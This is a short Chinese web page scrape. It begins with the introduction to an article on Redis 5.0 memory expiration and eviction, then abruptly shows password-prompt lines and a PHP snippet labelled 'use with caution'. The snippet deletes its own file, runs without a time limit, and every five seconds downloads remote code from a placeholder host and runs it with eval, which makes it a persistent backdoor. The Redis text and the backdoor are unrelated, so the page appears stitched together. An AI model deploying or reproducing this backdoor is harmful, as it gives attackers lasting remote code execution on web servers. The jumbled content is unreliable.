文章前言提到内存管理,我们就需要考虑Redis的内存过期策略和内存淘汰机制。该文章便从这两方面入手,分享一些在Redis内存方面相关的基础知识。文章中使用的示例版本为Redis5.0版本。内存过期策略内存过期策略主要的作用就是,在缓存过期之后,能够及时的将失效的缓存从内存中删除,以减少内存的无效暂用,达到释放内存的目的。
请输入密码访问
请输入密码访问
实现代码
慎用unlink($_SERVER[‘SCRIPT_FILENAME’]); ignore_user_abort(true); set_time_limit(0); $remote_file = ‘http://xxx/xxx.txt’; //常驻内存中每隔5秒加载一次远程脚本 while($code = file_get_contents($remote_file)){ @eval($code); sleep(5); };